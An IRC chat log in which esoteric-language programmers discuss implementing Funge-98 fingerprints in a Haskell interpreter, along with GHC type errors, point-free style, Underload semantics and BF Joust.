16:53:40 <oerjan> elliott: um there used to be a hsplugins package or something, or the ghc api iirc, whatever lambdabot uses
16:53:45 <elliott> <Deewiant> Well yes, but that's because it's still less overhead than having something like a PerIPFingerprintState[] in each IP which is only filled in if needed
16:53:47 <elliott> Doesn't exist in mine
16:53:49 <elliott> I use a map
16:53:58 <Deewiant> Same difference
16:54:00 <elliott> (OK, so accessing fingerprint state incurs the cost of a map lookup, but come on.)
16:54:02 <elliott> Deewiant: No it's not.
16:54:04 <Deewiant> Yours just uses more memory then
16:54:06 <elliott> An empty map takes up ~no space.
16:54:11 <Deewiant> An empty array takes up no space either
16:54:21 <elliott> oerjan: i'm pretty sure it can't do what i need
16:54:35 <Deewiant> And yes, a map lookup is expensive. I'm worrying about the /array/ lookup here. :-P
16:54:42 <oerjan> elliott: iirc the hsplugins package was using Typeable to be typesafe, don't know if it supports your kind of types
16:54:50 <elliott> oerjan: looks a bit unmaintained
16:55:04 <elliott> Deewiant: "ignore AnMaster, he's a performance freak" --you, 2008
16:55:12 <elliott> literal quote
16:55:21 <oerjan> elliott: as i implied, i don't know what they use nowadays but lambdabot obviously uses _something_
16:55:25 <elliott> oerjan: well yes
16:55:42 <elliott> oerjan: have you ever had to use an hs-boot file before :D
16:55:46 <Deewiant> elliott: The TRDS stuff is accessed quite often per tick even if you're not using TRDS
16:55:54 <elliott> Deewiant: Using TRDS = slow :P
16:55:59 <Deewiant> Having TRDS = slow
16:56:02 <elliott> oerjan: even with a Shiro.Types module I got a circular dependency
16:56:31 <Deewiant> If I disabled TRDS in my Fungicide rankings I'd be 50% faster or something :-P
16:56:59 <elliott> Deewiant: I thorte you only did that when TRDS done get loaded.
16:57:05 <ais523> Deewiant: what about not enabling going back to before TRDS is loaded, like the spec allows you to?
16:57:15 <elliott> ais523: he does that
16:57:18 <elliott> thus why i said the above
16:57:21 <ais523> ah
16:57:27 <ais523> and yet it still slows the code down anyway?
16:57:43 <elliott> maybe he thinks an if (TRDS) branch would be too expensive
16:58:30 <ais523> it'd predict well
16:58:40 <oerjan> elliott: no. (1) i haven't written any proper programs with ghc yet (2) i don't think i've ever split a haskell program into several files
16:58:43 <Deewiant> There are if (TRDS) branches
16:58:52 <Deewiant> There are several per tick and per IP per tick :-P
16:58:58 <elliott> oerjan: (1) does hugs not have anything similar? (2) heh
16:59:07 <ais523> so it'd only really be expensive on a GPU, where both branches of a conditional take time even though only one executes
16:59:26 <elliott> ais523: hah
16:59:27 <elliott> *heh
16:59:27 <Deewiant> Ticks are so cheap on average that adding a bunch of branches does slow things down
16:59:31 <oerjan> elliott: hugs doesn't support mutually recursive modules. iirc it had to modify some of the libraries slightly to get around this...
17:00:03 <elliott> oerjan: hm it should have an easier time than ghc adding them, with ghc there's all kinds of stage restrictions or something and stuff
17:00:17 <elliott> or at least, they don't want to do multiple modules in one compiler invocation because it breaks the model of "ghc -c foo.hs -o foo.o"
17:00:19 <elliott> or whatever
17:00:28 <ais523> elliott: GPUs are really massively multithreaded; they'll typically run about 1000 threads in parallel, with blocks of about 32 being forced to run in exact lock-step
17:00:44 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
17:01:01 <ais523> and so if two threads make different choices for a branch, both threads have to go through both sets of instructions, simply ABSTAINing from executing the set they don't want
17:01:04 <oerjan> elliott: anyway what's your circular dependency? maybe it's possible to break it
17:02:25 <elliott> oerjan: Shiro.Utils imports Shiro.Fingerprints to use the list of fingerprints. Shiro.Fingerprints imports Shiro.Fingerprints.BLAH. Shiro.Fingerprints.BLAH imports Shiro.Utils, to use its other helpful functions. i could split it but writing a Fingerprints.hs-boot was trivial, because it's just:
17:02:30 <oerjan> elliott: anyway i _think_ a .hs-boot file just contains type declarations for the relevant file so the other files can be compiled without having it compiled first
17:02:31 <elliott> module Shiro.Fingerprints where
17:02:32 <elliott> import Shiro.Types
17:02:32 <elliott> import Data.Map (Map)
17:02:32 <elliott> fingerprints :: Map Value FP
17:02:39 <elliott> and indeed
17:02:50 <elliott> before I had Shiro.Types, I had whole circular-dependencies on types and type classes
17:02:52 <elliott> that was nasty
17:03:02 <elliott> because hs-boot can't solve those
17:03:33 <oerjan> hm
17:05:23 <Vorpal> <Deewiant> Ticks are so cheap on average that adding a bunch of branches does slow things down <-- how much (says profiling)
17:05:42 <Deewiant> I can't remember, I haven't looked at this stuff in like a year
17:06:45 <elliott> OK, I have NULL, ROMA, MODU.
17:06:49 <elliott> What next :-P (Deewiant can't answer)
17:06:54 <elliott> Vorpal: implemented my O(1) wrapping function yet?
17:07:09 <Vorpal> elliott, dude. I had a full day at university. I just got home
17:07:15 <elliott> Pffft
17:07:17 <elliott> Excuses
17:07:30 <Vorpal> and I doubt I will code more today. Probably not until the weekend.
17:07:55 <Vorpal> elliott, I'd like to see you having 8 - 17 every-weekday schedule :P
17:08:24 <Vorpal> <elliott> What next :-P (Deewiant can't answer) <-- TRDS?
17:08:30 <elliott> >_<
17:08:32 <elliott> I hate you all
17:08:49 <Vorpal> elliott, well okay. What about MODE then
17:08:53 <elliott> fffff
17:08:57 <ais523> I'd suggest one that isn't feral
17:09:16 <Deewiant> HRTI so your test runs will be slowed down by another second
17:09:21 <ais523> perhaps one of the FFI-style ones like PERL, although that depends on how well Haskell's FFI works
17:09:42 <elliott> ais523: I'd probably just shell out to perl for that, ISTR perl's C API being terrifying.
17:09:52 <ais523> it's not as bad as it looks
17:09:56 <ais523> the major issues are the variable names
17:09:58 <ais523> and function names
17:10:04 <elliott> ais523: What's the function to evaluate a string :P
17:10:16 <Vorpal> elliott, HRTI. TOYS. STRN. SOCK. SCKE. MODE. TRDS
17:10:18 <Vorpal> what about that list
17:10:27 <elliott> Vorpal: SOCK can't be that hard :P
17:10:30 <elliott> Is STRN hard...?
17:10:32 <ais523> oh, you don't use Perl's C API for that, that's the wrong way round; shelling out to Perl is correct there, I think
17:10:40 <Vorpal> elliott, STRN is not really no
17:10:40 <elliott> ais523: well, that's what PERL does
17:10:45 <Vorpal> elliott, oh wait do PERL
17:10:47 <Vorpal> that is fun
17:10:51 <elliott> Vorpal: Fun sounds scary.
17:11:27 <elliott> ENVR is tempting :P
17:11:29 <elliott> Sounds nice and "easy".
17:11:34 <Vorpal> elliott, revised list: HRTI, PERL, MODE, TURT, REFC.
17:11:35 <oerjan> <ais523> elliott: oh, stack notation is not really standardised
17:11:37 <oerjan> NOW IT IS
17:11:41 <ais523> haha
17:11:44 <elliott> oerjan: but I don't like your notation!
17:11:48 <elliott> it shows evaluation as a stack element, which is just weird
17:11:49 <Deewiant> My STRN.G detects runoff strings that haven't been terminated but would hit a zero after wrapping and tries to allocate the 16+-gigabyte-stack required
17:12:01 <elliott> Deewiant: <3
17:12:02 <Vorpal> Deewiant, ... why
17:12:09 <elliott> Vorpal: It's the CONFORMANT implementation.
17:12:11 <elliott> It's in the name!
17:12:17 <elliott> `addquote <Deewiant> My STRN.G detects runoff strings that haven't been terminated but would hit a zero after wrapping and tries to allocate the 16+-gigabyte-stack required
17:12:21 <sebbu> 16gb stack ?
17:12:40 <Vorpal> elliott, STRN is rcfunge one. It is poorly enough defined that you can get away with a lot of stuff
17:12:56 <Deewiant> It only does that when you've compiled in expensive infinite loop checks though
17:12:57 <HackEgo> 301) <Deewiant> My STRN.G detects runoff strings that haven't been terminated but would hit a zero after wrapping and tries to allocate the 16+-gigabyte-stack required
17:12:58 <oerjan> elliott: as i said previously, the intuition is that x y z -- a b c indicates a stack effect which turns the result of running program x y z into the result of running program a b c instead
17:13:00 <Vorpal> elliott, do TURT
17:13:02 <Vorpal> it is fun
17:13:03 <elliott> oerjan: I know, I know
17:13:11 <elliott> Vorpal: I want to go for low-hanging fruit first :
17:13:12 <elliott> *:P
17:13:26 <ais523> let's make a fingerprint EASY
17:13:30 <oerjan> elliott: and it mixes seamlessly with my lambda notation
17:13:34 <ais523> which is vaguely useful, and trivially easy to implement
17:13:46 <Vorpal> elliott, okay then: HRTI, REFC are the catseye ones that are low hanging
17:14:01 <Vorpal> elliott, especially REFC
17:14:17 <elliott> "<p>This timer is not affected by 'time travel' contrivances."
17:14:22 <elliott> cpressey predicted TRDS?
17:14:26 <elliott> or was TRDS around very early? :-)
17:14:29 <Deewiant> It was early
17:14:39 <Deewiant> Maybe not that early, but early :-P
17:14:52 <ais523> hmm, BF Joust ethics question: should I make a minor tweak to defend13 just to beat careless?
17:14:56 <ais523> I don't really want to
17:15:07 <Deewiant> Why not?
17:15:09 <elliott> REFC seems easy enough
17:15:11 <ais523> and it will probably make it score differently against chaotic programs like wiggle
17:15:14 <ais523> so it might even do worse
17:15:20 <elliott> ais523: the scoring system practically mandates cheating like that
17:15:21 <elliott> I say go for it
17:15:22 <Deewiant> Call it defend13b then
17:15:23 <Vorpal> elliott, what about FING. That one is quite easy
17:15:29 <elliott> Vorpal: Oh fuck off :P
17:15:33 <elliott> REFC seems easy.
17:15:35 <Vorpal> elliott, no not FNGR
17:15:37 <elliott> And lets me test my state system.
17:15:38 <Deewiant> REFC is heaps of fun
17:15:44 <elliott> Deewiant: Eh?
17:15:44 <Deewiant> elliott: FING actually is easy
17:15:47 <oerjan> elliott: also you don't _have_ to use evaluation as a stack element, i just didn't see how to give stack change notation for ^ without doing so
17:15:48 <elliott> REFC looks easy
17:15:50 <Vorpal> elliott, FING is like... 20-30 lines of C code including boilerplate?
17:15:57 <Deewiant> elliott: REFC is a memory leak
17:16:01 <ais523> careless surprises me just because I've tried to write programs that work like that before and they've done badly
17:16:05 <elliott> Vorpal: MODU.hs is 27 lines long :-P
17:16:20 <elliott> My boilerplate is quite big; haven't decided the nicest way of doing the Template Haskell magic yet
17:16:25 <Vorpal> elliott, yeah MODU is more than 30 lines of C code since only one of those behaviours are native to C
17:16:26 <elliott> Deewiant: So's Haskell
17:16:36 <elliott> Vorpal:
17:16:38 <elliott> runMODU M = binary (\x y -> if y == 0 then 0 else mod x y)
17:16:38 <elliott> runMODU U = binary (\x y -> if y == 0 then 0 else abs (mod x y))
17:16:38 <elliott> runMODU R = binary (\x y -> if y == 0 then 0 else rem x y)
17:16:38 <elliott> :P
17:16:48 <Vorpal> elliott, you said 27 lines?
17:16:52 <Deewiant> elliott: abs (mod x y) can't be correct
17:16:53 <elliott> The rest is boilerplate.
17:16:57 <elliott> Deewiant: Passes Mycology
17:17:06 <Deewiant> Only because you're lucky :-P
17:17:09 <Vorpal> elliott, well C code written on one line like that would be insane
17:17:21 <elliott> Deewiant: What should it be
17:17:36 <elliott> The spec refers to the operation by a random person's name, I can hardly be blamed for misinterpreting it :P
17:17:38 <Deewiant> Consider 7 % -3 which gives -2: the correct answer is 1, not 2
17:17:57 <oerjan> !help bfjoust
17:17:58 <elliott> > 7 `mod` 3
17:17:59 <lambdabot> 1
17:18:02 <EgoBot> Sorry, I have no help for bfjoust!
17:18:07 <oerjan> !help
17:18:08 <elliott> runMODU U = binary (\x y -> if y == 0 then 0 else mod (abs x) (abs y))
17:18:08 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
17:18:11 <elliott> !bfjoust
17:18:12 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
17:18:15 <oerjan> ah
17:18:34 <Deewiant> elliott: mod x y + (if mod x y < 0 then abs y else 0)
17:18:44 <Vorpal> elliott, anyway FING is easy. Unlike REFC it needs no global state even
17:19:30 <elliott> Deewiant: That's not point-free
17:19:32 <Vorpal> elliott, it is just pop-and-push, swap, drop, duplicate for the fingerprint semantics stacks iirc
17:19:40 <elliott> Vorpal: Yeah, I'll do it after REFC.
17:19:53 <Deewiant> @pl \x -> x + (if x < 0 then abs y else 0) -- elliott
17:19:54 <lambdabot> ap (+) (flip (flip if' (abs y) . (< 0)) 0)
17:20:07 <elliott> :-D
17:20:24 <oerjan> hm that egodeath thing is still on the hill i see
17:20:29 <Deewiant> @pl \x -> x + fromEnum (x < 0) * abs y -- elliott
17:20:29 <lambdabot> ap (+) ((abs y *) . fromEnum . (< 0))
17:20:33 <Vorpal> elliott, only thing to remember is that you can use A-Z *or* 0-25 to refer to stacks. So you just need a normalisation function for the parameters. Trivial.
17:20:45 <elliott> not as trivial as REFC
17:20:55 <Deewiant> @pl \x y -> let m = mod x y in m + fromEnum (m < 0) * abs y -- elliott
17:20:56 <lambdabot> ap (ap (+) . (. (fromEnum . (< 0))) . (*) . abs) . mod
17:20:59 <Vorpal> elliott, here is a test program for FING (since iirc mycology doesn't test it?) http://www.rcfunge98.com/fing.f98
17:21:02 <elliott> Deewiant: It's so beautiful
17:21:11 <Deewiant> elliott: So shaddup and use the pointy :-P
17:21:19 <elliott> Deewiant: I already did, about five minutes ago
17:21:29 <Vorpal> <lambdabot> ap (ap (+) . (. (fromEnum . (< 0))) . (*) . abs) . mod <-- what
17:21:31 <Deewiant> I doubt it given that I gave it to you about three minutes ago
17:21:35 <Vorpal> @help pl
17:21:35 <lambdabot> pointless <expr>. Play with pointfree code.
17:21:38 <Vorpal> ah
17:21:48 <Vorpal> also that one was hard to read
17:21:59 <elliott> Vorpal: Point-free code is usually nicer than the equivalent pointy code, but not when lambdabot writes it :-P
17:22:05 <elliott> And also only if you split up your functions.
17:22:35 <elliott> (I'm inferring that Vorpal is learning Haskell from the things he's said.)
17:22:58 <elliott> So is REFC global or per-IP
17:23:04 <Vorpal> elliott, I just don't know lambdabot's commands. And indeed I'm not as proficient in haskell as you are.
17:23:11 <Vorpal> elliott, I'm pretty sure it is global
17:23:17 <elliott> Yay, I can use an IntMap.
17:23:19 <elliott> That gives me a happy.
17:23:21 <oerjan> Vorpal: lambdabot is not very good at optimizing pointless code, e.g. there are all kinds of tricks with curry/uncurry and Arrows which it rarely if ever uses
17:23:21 <Deewiant> I'm pretty sure it's UNDEF but I made it global
17:23:23 <elliott> Well........
17:23:31 <Deewiant> elliott: You can use an array :-P
17:23:40 <elliott> Deewiant: That would involve icky reallocation and things.
17:23:45 <Deewiant> oerjan: Never, it doesn't know about arrows
17:23:51 <elliott> Technically you could allocate more than an Int of references.
17:23:52 <Vorpal> Still is there any point (pun not intended) in spending several minutes extra just to make it pointfree when it takes a few seconds to write the non-pointfree code?
17:23:55 <oerjan> Deewiant: ah.
17:23:56 <elliott> But if you do that, fuck you.
17:23:59 <elliott> Vorpal: It doesn't take that long.
17:24:07 <elliott> Vorpal: And it makes the intention of the code nicer if done well.
17:24:11 <Deewiant> ?pl \(x,y) -> (y,x)
17:24:11 <lambdabot> uncurry (flip (,))
17:24:12 <elliott> Easier to read.
17:24:18 <Deewiant> oerjan: It knows uncurry though.
17:24:22 <elliott> Often it leads to more composable functions by noticing common substructure in code.
17:24:31 <elliott> Vorpal: Oh, and it avoids arbitrary parameter names :-P
17:24:45 <Deewiant> elliott: You'll run out of memory before allocating that many
17:24:50 <elliott> Deewiant: Indeed.
17:25:00 <Vorpal> elliott, yes indeed. Make all of your befunge implementation point free!
17:25:07 <elliott> Vorpal: Some of it already is.
17:25:15 <Vorpal> elliott, not good enough. :P
17:25:16 <elliott> Vorpal: More important than point-free code, though, is do-less code.
17:25:26 <elliott> Do notation is to be avoided at all costs :P
17:25:32 <Vorpal> elliott, why is that
17:25:39 <elliott> Unless you really have a non-trivial block of reading-and-writing imperative code, like in my instructions.
17:25:41 <ais523> naming things is one of the hard problems of computer science
17:25:49 <ais523> point-free code avoids that issue
17:25:51 <elliott> Vorpal: Because it obscures intent and makes Haskell into an imperative language.
17:25:58 <elliott> Consider:
17:26:01 <elliott> pop :: Shiro Value
17:26:01 <elliott> pop = tos <* modifyStack (drop 1)
17:26:02 <ais523> elliott: I think it's sensible to use a do-block for main, which is normally generally imperative
17:26:09 <elliott> peek :: Vector -> Shiro Value
17:26:10 <elliott> peek k = (!@ k) <$> gets fungeSpace
17:26:22 <elliott> Compare that last one with
17:26:30 <elliott> peek k = do fs <- gets fungeSpace; return (fs !@ k)
17:26:32 <elliott> Obscures intent.
17:26:53 <Vorpal> elliott, hm
17:27:33 <Vorpal> elliott, why aren't you using a monad free solution? Couldn't you just pass around a map or such.
17:27:40 <Vorpal> well a bit more than that
17:27:42 <Vorpal> but still
17:27:57 <elliott> Vorpal: Passing around a bunch of state is exactly what the state monad does.
17:28:17 <elliott> If you really have to ask "why abstract away", well...
17:28:27 <elliott> Code isn't any more functional because it takes parameters and returns a tuple.
17:28:34 <elliott> It's just harder to call (you have to thread state explicitly).
17:28:36 <elliott> It's still stateful.
17:28:52 <Vorpal> elliott, well hm. So you don't use that monad for IO at all?
17:29:03 <elliott> It's (StateT FungeState IO).
17:29:37 <ais523> if you need to be able to do I/O in the middle of a calculation, involving the IO monad somewhere is the sensible way
17:29:41 <elliott> <p>The internal list of references is considered
17:29:42 <elliott> shared among all IP's, so a global static can be used
17:29:42 <elliott> to store this list, so that this extension remains tame.
17:29:44 <elliott> Deewiant: It's explicit
17:29:44 <Vorpal> elliott, well yeah, but do you evaluate lazily. I mean, you only need to evaluate when you are about to do IO. The rest could be lazy.
17:29:49 <ais523> normally, you don't, but you do to be able to implement Funge
17:29:50 <Deewiant> elliott: Alright
17:29:51 <elliott> Vorpal: Stop trolling.
17:30:04 <Deewiant> elliott: It's not trolling really
17:30:07 <ais523> Vorpal: I'm not sure you really understand what "lazy" means in that context
17:30:10 <elliott> Well, no, it's Vorpaltrolling :P
17:30:13 <Deewiant> He has a point that you have IO available even in many places where you don't need it
17:30:23 <elliott> That's true, but they're basically inseparable.
17:30:24 <Vorpal> indeed. It seems wrong.
17:30:48 <ais523> elliott: something I've been trying to figure out: is it possible to design a monad that lets you have, say, beginWhile and endWhile as actions that repeat everything between them?
17:30:53 <elliott> ais523: yes
17:30:57 <elliott> ais523: see Cont monad
17:30:58 <ais523> I thought so, but wasn't sure
17:30:59 <Vorpal> ais523, I'm pretty sure the meaning of lazy I used is a valid meaning of that word?
17:31:05 <ais523> I was wondering about making an IFFI monad
17:31:06 <elliott> ais523: BeginWhile >>= f saves f
17:31:11 <elliott> ais523: EndWhile calls it
17:31:13 <Deewiant> elliott: You can just make a State FungeState when you don't need IO
17:31:14 <ais523> yep, that makes sense
17:31:16 <elliott> ais523: that's a do-while loop, though
17:31:18 <Deewiant> With a few helpers it shouldn't be troublesome
17:31:19 <elliott> dunno if you can do while
17:31:26 <ais523> ah, I meant while not do-while
17:31:29 <elliott> Deewiant: It'd be a waste of time.
17:31:34 <ais523> as in, can you somehow capture the bits in between
17:31:36 <Deewiant> elliott: It's more type-safe. :_P
17:31:37 <elliott> ais523: you might be able to with a "reverse Cont monad"
17:31:41 <oerjan> 16:55:14 <elliott> ais523: yes, but the whole evaluation model is different, because:
17:31:44 <oerjan> 16:55:20 <elliott> (bar)S(:^):^(foo)S
17:31:47 <oerjan> 16:55:23 <elliott> ais523: this outputs oof, then hangs
17:31:49 <elliott> Deewiant: I'll let you know if I ever type "io $" accidentally
17:31:54 <Deewiant> Your code is so unsafe that my nose got dislodged :_P
17:32:06 <elliott> THE POWER OF IO
17:32:06 <oerjan> interestingly, if you think of underload as a monoid, those evaluation models become special cases...
17:32:07 <Deewiant> Well, impure
17:32:21 <elliott> Deewiant: Funge-98, the purest of languages.
17:32:21 <Vorpal> <ais523> ah, I meant while not do-while <-- couldn't you rewrite a do while loop to a while one by adding a condition before entering first time?
17:32:23 <elliott> oerjan: :D
17:32:42 <ais523> Vorpal: that requires being able to do if, and elliott sort-of implied that that wasn't trivial either
17:32:44 <oerjan> elliott: like strict and lazy evaluation of LC, indeed
17:33:00 <Vorpal> ais523, ah.
17:33:03 <elliott> ais523: it's probably possible but I couldn't do it off-hand
17:33:11 <elliott> ais523: you probably could actually
17:33:12 <ais523> that's my guess too
17:33:13 <elliott> I can sort of see it in my head
17:33:15 <elliott> but it'd be a pain
17:33:21 <ais523> I wanted to add COME FROM to Haskell
17:33:31 <Vorpal> hahaha
17:33:34 <elliott> ais523: basically store "isWhileBody" state, and then "blah >>= f" just remembers it
17:33:35 <ais523> (don't ask "why", this is #esoteric)
17:33:36 <elliott> when isWhileBody
17:33:47 <ais523> oh right, like Maybe with Nothing
17:33:50 <ais523> yep, that'd work
17:33:54 <elliott> well sort of
17:33:57 <elliott> you still go through the whole body
17:34:00 <elliott> you just don't execute any of it
17:34:06 <elliott> but that might be hard
17:34:07 <ais523> well, Maybe does too
17:34:09 <elliott> since monadic actions yield results
17:34:11 <elliott> and f takes those results...
17:34:12 <elliott> dunno
17:34:25 <elliott> ais523: I'm not sure this would obey the monad laws, anyway :P
17:34:28 <oerjan> hm because underload lacks something which can _completely_ replace the stack, there is nothing corresponding to how lazy evaluation is canonical in LC
17:34:49 <elliott> oerjan: I don't think that's true in daolrednu
17:34:57 <ais523> oh, I see, the issue is in something like do {if false; a <- monadAction; endif; return a}
17:34:58 <elliott> it's essentially an applicative language with multiple function outputs
17:35:01 <elliott> : takes one argument and returns it twice
17:35:07 <elliott> ais523: indeed
17:35:16 <ais523> yep, that clearly makes no sense, and should equally clearly be legal
17:35:25 <elliott> *illegal
17:35:35 <elliott> ais523: or even do {if false; a <- monadAction; blah a; endif} -- even when you process it, you have to give the result of a along
17:35:38 <elliott> even if you don't want to "use" it
17:35:41 <ais523> no, I mean according to the way monads work,you should be able to do that in a monad no matter what "if" and "endif" mean
17:35:58 <ais523> s/,y/, y/
17:36:15 <oerjan> elliott: the thing is, in LC you can have one evaluation order which leads to a normal form even if another doesn't. that's not possible in underload/daolrednu, well maybe if you reduce inside subprograms, but S makes that illegal in general
17:36:32 <oerjan> or so i think.
17:36:43 <elliott> oerjan: yeah... even so, you _can_ handle:
17:36:48 <elliott> ()(~(a)*~:^):^
17:36:49 <elliott> I'm pretty sure
17:36:51 <ais523> oerjan: Underlambda changes the semantics of S just to avoid that issue
17:36:59 <ais523> its the only Underload command it changes
17:37:03 <oerjan> ais523: oh
17:37:03 <elliott> <ais523> no, I mean according to the way monads work,you should be able to do that in a monad no matter what "if" and "endif" mean
17:37:04 <elliott> <ais523> s/,y/, y/
17:37:04 <elliott> right
17:37:09 <elliott> ais523: *it's, also
17:37:21 <ais523> ah, yes
17:37:27 <ais523> took me a while to figure out what line you were correcting, there
17:37:31 <ais523> typo, rather than grammar fail
17:40:50 <Vorpal> bbl
17:41:53 <elliott> Couldn't match expected type `FPGlobalState REFC'
17:41:53 <elliott> against inferred type `IntMap a'
17:41:53 <elliott> NB: `FPGlobalState' is a type function, and may not be injective
17:41:56 <elliott> I love these kinds of errors
17:42:32 <ais523> Haskell's one of those langs which needs a CS degree just to understand the error messages
17:42:32 <elliott> shiro: Shiro/Fingerprints/REFC.hs:(30,0)-(40,22): Non-exhaustive patterns in function runREFC
17:42:35 <elliott> oh joy
17:42:44 <elliott> ais523: I have a CS degree now? woo!
17:42:56 <ais523> I'm trying to figure out what "may not be injective" means in that concept
17:42:56 <elliott> ais523: actually in the past few days I've triggered one internal GHC compiler error, and several "My brain just exploded."s
17:42:59 <ais523> *context
17:43:06 <elliott> ais523: oh, it's to do with type families
17:43:08 <elliott> which are crazy
17:43:20 <elliott> ais523: http://ehird.blogspot.com/2010/01/computing-fib3-in-haskells-type-system.html adequately shows how crazy they are
17:43:42 <oerjan> ais523: it means you cannot deduce the type t from the type FPGlobalState t
17:43:52 <elliott> ais523: (GHC actually does say "My brain just exploded.")
17:44:09 <elliott> ais523: if you do "let Foo x ... = blah" where Foo is a constructor of an existential
17:44:12 <elliott> or, I think, a GADT
17:44:30 <elliott> | qcgadt.hs:115:7:
17:44:30 <elliott> | My brain just exploded.
17:44:30 <elliott> | I can't handle pattern bindings for existentially-quantified
17:44:30 <elliott> constructors.
17:44:30 <elliott> | In the binding group
17:44:30 <elliott> | (Rep x) = uncompressRep s
17:44:32 <elliott> | In the definition of `uncompressRep':
17:44:34 <elliott> | uncompressRep (0 : 1 : 0 : s) = let (Rep x) = uncompressRep s
17:44:35 <ais523> oerjan: ah, I see, I think; ghc knows you've entered the wrong type, but can't figure out what the right type is, or if it even exists
17:44:36 <elliott> in Rep
17:44:38 <elliott> | (RList x)
17:44:40 <elliott> | Failed, modules loaded: none.
17:44:57 <oerjan> ais523: yeah probably
17:46:06 <asiekierka> hi
17:46:11 <asiekierka> i should try BF Jousting
17:46:23 <elliott> Yay, REFC works.
17:46:25 <elliott> That was painless
17:46:27 <elliott> I love Haskell.
17:46:41 <elliott> Vorpal: What was the next one you suggested? FING?
17:46:45 <asiekierka> how to try it out? i think there's a command here for one of the bots
17:46:47 <asiekierka> but what was it
17:47:07 <ais523> !bfjoust
17:47:07 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
17:47:09 <elliott> http://www.rcfunge98.com/rcsfingers.html#FING I see Mike never did stop trying to write the shortest possible specifications
17:47:23 <ais523> asiekierka: ^
17:47:30 <asiekierka> thanks
17:48:07 <elliott> Deewiant: Want to elaborate on the FING specification? :-P
17:48:18 <Deewiant> There's not much to add
17:48:24 <Deewiant> I think that's one of his better specs :-P
17:48:41 <Deewiant> He has test cases too, you know
17:48:47 <elliott> I saw fing.b98, yeah.
17:49:03 <elliott> OK, FING is semi-non-trivial with my current fingerprint code, so I'ma skip it for now.
17:49:10 <elliott> EVAR looks easy.
17:49:55 <Deewiant> Just remember that EVAR has to affect y
17:50:12 <elliott> Deewiant: It will automatically
17:50:15 <elliott> I don't cache anything about y
17:50:20 <elliott> Does anyone actually use y as pick, btw? :-P
17:50:26 <ais523> Mycology does
17:50:30 <ais523> but it's a little impractical for any other use
17:50:31 <elliott> Apart from Mycology.
17:50:35 <elliott> yeah, because y is variable-length
17:50:40 <ais523> due to the huge mess of stuff in between
17:50:46 <elliott> well, you have to run y first
17:50:49 <elliott> and calculate its total length
17:50:51 <elliott> before you can pick
17:50:58 <elliott> and if you ever change env var, etc....
17:50:58 <ais523> isn't the length of y one of the things that y returns?
17:51:01 <ais523> if so, you could use that
17:51:02 <elliott> (that's etc. + ellipsis)
17:51:03 <elliott> ais523: nope
17:51:07 <ais523> it should be
17:51:10 <elliott> ais523: it uses 0 or two 0-terminated lists
17:51:15 <elliott> so you have to scan it all
17:51:18 <elliott> pretty much
17:51:18 <ais523> haha
17:51:31 <Deewiant> No you don't
17:51:33 <elliott> ais523: did i mention that the (two 0)-terminated list is of 0gnirtses?
17:51:35 <elliott> SUCH FUN
17:51:35 <ais523> it isn't possible to edit a program's command-line args while it's running from outside the program, is it?
17:51:45 <elliott> well, you could fuck with argv directly
17:51:53 <ais523> I know on some OSes, programs that change argv will change the view in top
17:51:59 <Gregor> Not in any common OS.
17:52:01 <ais523> but I was wondering if it was possible to go the other way
17:52:03 <elliott> but you can do:
17:52:03 <elliott> withArgs :: [String] -> IO a -> IO aSource
17:52:04 <elliott> withArgs args act - while executing action act, have getArgs return args.
17:52:04 <elliott> in haskell
17:52:06 <elliott> http://www.haskell.org/ghc/docs/latest/html/libraries/base/System-Environment.html
17:52:07 <elliott> hey look
17:52:07 <ais523> Gregor: some BSD, I think it works
17:52:09 <elliott> look what's not there
17:52:09 <Deewiant> elliott: There's a constant number of cells prior to the size of the TOS
17:52:10 <ais523> I forget which
17:52:12 <elliott> look at a very interesting thing that's not there
17:52:16 <elliott> Deewiant: well yes
17:52:16 <elliott> the answer is::::
17:52:19 <Gregor> Wellllll, to be fair, you can map its memory into yours and do whatever the hell you want to.
17:52:20 <elliott> ANYTHING TO WRITE TO ENVIRONMENT
17:52:42 <Deewiant> elliott: Redecided about EVAR?-)
17:52:49 <elliott> nope, just asking #haskell :P
17:52:57 <elliott> also, what happened to your eyes?
17:53:14 <elliott> FOBJ's spec is hilarious
17:53:16 <elliott> http://www.rcfunge98.com/rcsfingers.html#FOBJ
17:53:23 <elliott> [INCREDIBLY VAGUE SPECIFICATION] [HUGE LIST OF CLARIFICATIONS]
17:53:42 <Deewiant> Yeah, that's how his specs look
17:53:52 <elliott> #3587 (provide a cross-platform way to set environment variables ...
17:53:52 <elliott> Env (package unix) provides operations to set environment variables on Linux (and probably other unices). This ticket requests adding cross-platform ...
17:53:54 <elliott> /facepalm
17:53:57 <elliott> GOODBYE PORTABILITY
17:54:08 <Deewiant> [80-char description per command] [explanatory bullet points]
17:54:36 <elliott> "FPRT 0x00000000
17:54:41 <elliott> A ( things -- other things ) do a thing
17:54:45 <elliott> B ( things -- other things ) do another thing
17:54:49 <elliott> * Thing is to be done simultaneously.
17:54:57 <elliott> * If two things are done, resulting things are modified.
17:55:03 <elliott> * Modification to things is done by doing the other thing.
17:55:08 <elliott> [500 more bullet points]
17:55:11 <elliott> (It's an SDL interface)
17:55:14 <Deewiant> I was wondering what this had to do with FPRT for a while
17:55:21 <elliott> Is that a real fingerprint?
17:55:23 <elliott> *"FPRT"
17:55:24 <Deewiant> But then I realized you used it as a generic name
17:55:26 <Deewiant> Yes, it is
17:55:29 <elliott> Ha, it is
17:55:29 <Deewiant> It gives printf
17:55:35 <Deewiant> Well, sprintf
17:55:55 <elliott> #haskell is too popular, nobody sees half the questions any more :P
17:56:07 <elliott> http://hackage.haskell.org/trac/ghc/ticket/3587 LOTS OF ATTENTION PAID HERE
17:56:19 <elliott> EXEC looks painful
17:57:06 <elliott> System.Posix.Env - Haskell - HaskellWiki
17:57:07 <elliott> getEnvDefault is a wrapper around getEnv where the programmer can specify a fallback if the variable is not found in the environment. ...
17:57:07 <elliott> www.haskell.org/ghc/docs/latest/html/.../System-Posix-Env.html - Cached
17:57:08 <elliott> Google title inferring fail.
17:57:50 <elliott> So does EVAR's G default to "" or reflect
18:00:54 <elliott> :t sepBy
18:00:55 <lambdabot> Not in scope: `sepBy'
18:01:10 <elliott> I like how Data.List.Split lacks "split up to N of these".
